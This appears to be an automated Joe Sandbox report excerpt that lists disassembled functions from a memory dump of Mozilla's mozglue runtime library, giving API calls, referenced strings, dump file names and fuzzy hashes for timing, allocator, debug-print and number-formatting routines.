GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA63492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA6350E
__Init_thread_footer.LIBCMT ref: 6CA63522
__aulldiv.LIBCMT ref: 6CA63552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA6357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA63592

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

Strings

kernel32.dll, xrefs: 6CA634EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA63508
D($/, xrefs: 6CA63488

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll$D($/
API String ID: 3634367004-2945461104
Opcode ID: 823def1cc061d0e83a9e5f7d1c7996748ede453aeab3f7530add8fc609dc70f1
Instruction ID: 598da7e25b5038671ba6fde54bb1738628f4bf921ec16aa765751fc9b0ac8bad
Opcode Fuzzy Hash: 823def1cc061d0e83a9e5f7d1c7996748ede453aeab3f7530add8fc609dc70f1
Instruction Fuzzy Hash: 9931C170B013479FDF48DFB9ED48AAA73B5FB4A304F14811AE54193A50DB309946DBA0

Function 6CAC5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CAC6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CAC6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA6EE51,?), ref: 6CAC6046
OutputDebugStringA.KERNEL32(?,6CA6EE51,?), ref: 6CAC6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAC6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAC6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAC6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CAE148E), ref: 6CAC6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA6EE51,00000000,?), ref: 6CAC60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAC60C4

Strings

D($/, xrefs: 6CAC5FFF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: D($/
API String ID: 3835517998-324952136
Opcode ID: f2e8b57bbac2218bac49f81e88db0a54a7a5d49dd9902121bea7cc05f7f80c82
Instruction ID: be2876851bcd715a88a0f98a88214f2674c081146c4b3753f50d0b78ff356eb7
Opcode Fuzzy Hash: f2e8b57bbac2218bac49f81e88db0a54a7a5d49dd9902121bea7cc05f7f80c82
Instruction Fuzzy Hash: 7521A671A003199FDB109F24EC0DAAA7BB8FF49218F04C528E85A97241DB75E589CFD6

Function 6CA85E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2
memset.VCRUNTIME140(6CAC7765,000000E5,AEC09015), ref: 6CA861F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA87652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA872F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA87BCD, 6CA87C1F, 6CA87C34, 6CA880FD
D($/, xrefs: 6CA85E9F
MOZ_CRASH(), xrefs: 6CA87BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA8730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA872E3

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 2613674957-1168328213
Opcode ID: 266d19539de4c7ec67e9b82a6743762a837d12e79d437a85b2db9ddd9928aeb5
Instruction ID: 733fec8f80bb048ca6cd877bee25bf9cf2d2da4c7360b2daeab4b352a8a89972
Opcode Fuzzy Hash: 266d19539de4c7ec67e9b82a6743762a837d12e79d437a85b2db9ddd9928aeb5
Instruction Fuzzy Hash: 6C337C716167018FD308CF29C590615BBE2BF85328F2DC6ADE969CB7A5D731E881CB81

Function 6CAC4EA0 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAC4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC4F2E
moz_xmalloc.MOZGLUE ref: 6CAC4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAC4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC52E6
Sleep.KERNEL32(00000010), ref: 6CAC5481
free.MOZGLUE(?), ref: 6CAC5498

Strings

(, xrefs: 6CAC5250
D($/, xrefs: 6CAC4EAF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: ($D($/
API String ID: 4104871533-741271439
Opcode ID: 231e2f8af026b7b585e14109deaa750effb5beeb1fd86dafddc7addb37ed9145
Instruction ID: 57219d6508709e47931b5ff51021eb62125747732439582a50ae912113c579a3
Opcode Fuzzy Hash: 231e2f8af026b7b585e14109deaa750effb5beeb1fd86dafddc7addb37ed9145
Instruction Fuzzy Hash: D1F1C171A18B018FC71ACF39C85062BB7F5AFD6284F05C72EF846A7651DB319846CB91

Function 6CA89E50 Relevance: 14.9, APIs: 6, Strings: 2, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA89EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CA89F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA89F34
LeaveCriticalSection.KERNEL32(?), ref: 6CA8A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA8A8B1, 6CA8A8D4, 6CA8A8EF
D($/, xrefs: 6CA89E60

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 2950001534-1529359609
Opcode ID: 9bc42445ca978b9769584c7f0deffb92c42b59151471e297ef87ed1ae26c1187
Instruction ID: 31bfe685943ee48bda4223107061d9ffff2b9e26d7186ca98a111a418000ae9a
Opcode Fuzzy Hash: 9bc42445ca978b9769584c7f0deffb92c42b59151471e297ef87ed1ae26c1187
Instruction Fuzzy Hash: E7725C72A167118FD718CF28C540615FBE2BF89328B29C66DE8699B7D1D375EC81CB80

Function 6CAB2C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAB2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAB2C61

Part of subcall function 6CA64DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
Part of subcall function 6CA64DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAB2E2D

Part of subcall function 6CA781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA781DE

Strings

expected a Time entry, xrefs: 6CAB2E36
ProfileBuffer parse error: %s, xrefs: 6CAB2E3B
D($/, xrefs: 6CAB2C26, 6CAB2D08
(root), xrefs: 6CAB354F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry$D($/
API String ID: 801438305-4128266149
Opcode ID: 2f1c4f56075da9ba5a5c7c67bbe3d0cb1b046eb5c0ec10a8328eef9e16ba5c16
Instruction ID: e79ff56df94476fe482559c4d9e572bc0718432413f0a63f256e619ef3c70060
Opcode Fuzzy Hash: 2f1c4f56075da9ba5a5c7c67bbe3d0cb1b046eb5c0ec10a8328eef9e16ba5c16
Instruction Fuzzy Hash: AA91C2706087418FC724CF28C49469FB7E4BFC9358F148A1EE59AA7750DB30D989CB92

Function 6CA8C0E0 Relevance: 13.0, APIs: 4, Strings: 3, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CA8C317
MOZ_CRASH(), xrefs: 6CA8D4BB
D($/, xrefs: 6CA8C0F9, 6CA8D4E2

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()$D($/
API String ID: 0-3039432881
Opcode ID: e8b02cb598c03ef5567e057ea47b94b7a4e3fc1b68aecf16e77d5d3d78098c6b
Instruction ID: a93dd036674a6e87ce8c29e800d68f2404ee737351198adee216518ad9b87bc3
Opcode Fuzzy Hash: e8b02cb598c03ef5567e057ea47b94b7a4e3fc1b68aecf16e77d5d3d78098c6b
Instruction Fuzzy Hash: 9952E630A0A3428FD724DF18C45075AB7F2FB8A718F188A1ED5D687B91D7359886CF92

Function 6CAC9E30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CAC9F3D
__aulldiv.LIBCMT ref: 6CAC9F77
__aullrem.LIBCMT ref: 6CAC9F8C
__aulldiv.LIBCMT ref: 6CACA023

Strings

NaN, xrefs: 6CAC9EAB
-Infinity, xrefs: 6CAC9E60, 6CAC9E7B
D($/, xrefs: 6CAC9E3C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN$D($/
API String ID: 3839614884-269737459
Opcode ID: a2dc99bd711e2cc7a0a0646ba3561a82f28013f5983e194f4a5b94eaca7c9430
Instruction ID: 225706fd999feae45d95870e81eb50bb98643ea9abc8981f72611dda92190dfb
Opcode Fuzzy Hash: a2dc99bd711e2cc7a0a0646ba3561a82f28013f5983e194f4a5b94eaca7c9430
Instruction Fuzzy Hash: ACC1A171F003188BDB14CFA9C8507EEB7B6FB84318F584529D406ABB80D770AD89CB92

Function 6CA6D4E0 Relevance: 12.1, Strings: 9, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CA6DE7F
-, xrefs: 6CA6D7DD
0, xrefs: 6CA6D852
1, xrefs: 6CA6DBDD
, xrefs: 6CA6DA88
@, xrefs: 6CA6DAF6
D($/, xrefs: 6CA6D4F8
8, xrefs: 6CA6DC08
0, xrefs: 6CA6DC7F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@$D($/
API String ID: 0-2306068994
Opcode ID: 3c0a1de4335b8cc8f1aaabed204a13fe79cebbd350c134fb39ab539a085b89e1
Instruction ID: 2790be238b2435b03a902df21217dbe05aaad9e008a11a705ce33d257434a7ea
Opcode Fuzzy Hash: 3c0a1de4335b8cc8f1aaabed204a13fe79cebbd350c134fb39ab539a085b89e1
Instruction Fuzzy Hash: B362AD7190C3858FD711CE2AC49075ABBF2AF86798F384A0DE4E54BE91C33598C5CB82

Function 6CA79F00 Relevance: 9.8, Strings: 7, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6CA7A824
0, xrefs: 6CA7A100
0, xrefs: 6CA7AB22
@, xrefs: 6CA7A625
9, xrefs: 6CA7A5D6
D($/, xrefs: 6CA79F18
' , xrefs: 6CA7A3D8

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@$D($/
API String ID: 0-2671865051
Opcode ID: 7c378f881a73c2426a62df35be0bd2f7c635f406c6549d83a9cbe1119909a43d
Instruction ID: 7f8c1331e1eb5daae861f34fa9553da9dcc7a7c86ff8f984d9079d1b4f8406b6
Opcode Fuzzy Hash: 7c378f881a73c2426a62df35be0bd2f7c635f406c6549d83a9cbe1119909a43d
Instruction Fuzzy Hash: 9582D239509311ABD7208F19C05436EB7F3FB81718F59A92AE89547A90D335DCC6CBA2

Function 6CAB77A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB7A93

Part of subcall function 6CA85C50: GetTickCount64.KERNEL32 ref: 6CA85D40
Part of subcall function 6CA85C50: EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA85D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB7AA1

Part of subcall function 6CA85C50: __aulldiv.LIBCMT ref: 6CA85DB4
Part of subcall function 6CA85C50: LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA85DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CAB7B31

Strings

D($/, xrefs: 6CAB77AF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID: D($/
API String ID: 4054851604-324952136
Opcode ID: 2e01ee796b8230181737ce37a80791b12e4ad10af1b9346b09844c0dd438f5a4
Instruction ID: 83e76e5a36edbe2d85b4736995897b99bb3336efa4195b49365151bc96ecfed4
Opcode Fuzzy Hash: 2e01ee796b8230181737ce37a80791b12e4ad10af1b9346b09844c0dd438f5a4
Instruction Fuzzy Hash: 65B1D2316083848BCB14CF24C55065FB7E6BFC5318F194A1CE996B7790DBB0E98ACB92

Function 6CA6BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA6C1CB
__aulldiv.LIBCMT ref: 6CA6C24C
__aulldiv.LIBCMT ref: 6CA6C348
__aullrem.LIBCMT ref: 6CA6C365
__aulldiv.LIBCMT ref: 6CA6C37D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: e24d6ae9607dc559747a285fbffcb3cb526988edfc1058101d172a05922ec7d7
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: D4324632B046118FCB18DE2DC890A56BBE6AFC9314F09867DE899CB795D734ED05CB90

Function 6CAA6CF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAA6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAA6E1E

Strings

D($/, xrefs: 6CAA6D04

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID: D($/
API String ID: 4169067295-324952136
Opcode ID: 5b42be787bc72fb4078ad95c34dde71e755d2b33aaefda3bb91d5916a8a25cd0
Instruction ID: b9079c22ae82605b00634fa102e051d23825288b28c4a4ccd11ca78b71f135b4
Opcode Fuzzy Hash: 5b42be787bc72fb4078ad95c34dde71e755d2b33aaefda3bb91d5916a8a25cd0
Instruction Fuzzy Hash: 84A17D746183818FC714CF28C5947AEFBF2BF88308F44891DE48A97751DB70A889CB92

Function 6CACB700 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CACB720
RtlNtStatusToDosError.NTDLL ref: 6CACB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CA9FE3F,00000000,00000000,?,?,00000000,?,6CA9FE3F), ref: 6CACB760

Strings

D($/, xrefs: 6CACB707

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID: D($/
API String ID: 304294125-324952136
Opcode ID: 3cb8a8c77a7c6fc719ad21937578760ef1b0ee9630b15c1102450c88fbbe66e7
Instruction ID: 097caeed0be8314e08136a62aca5f6deeed3ed9d3c69c859561dc39656dd0a67
Opcode Fuzzy Hash: 3cb8a8c77a7c6fc719ad21937578760ef1b0ee9630b15c1102450c88fbbe66e7
Instruction Fuzzy Hash: 17F022B0A0120DAEEF009AA0DC84BEF73BC9B0831DF505229E911615C0CB79A5DCCF62

Function 6CAD545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAD8A4B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 7ee7b19095ce1d61eac348648767e0f92e2ad4cf076459f1148055f700168281
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 9FB1D772E0021A8FDB14CF68CD917E9B7B2EF85314F1902A9D549EB791D730A9C9CB90

Function 6CAD542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAD88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAD925C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
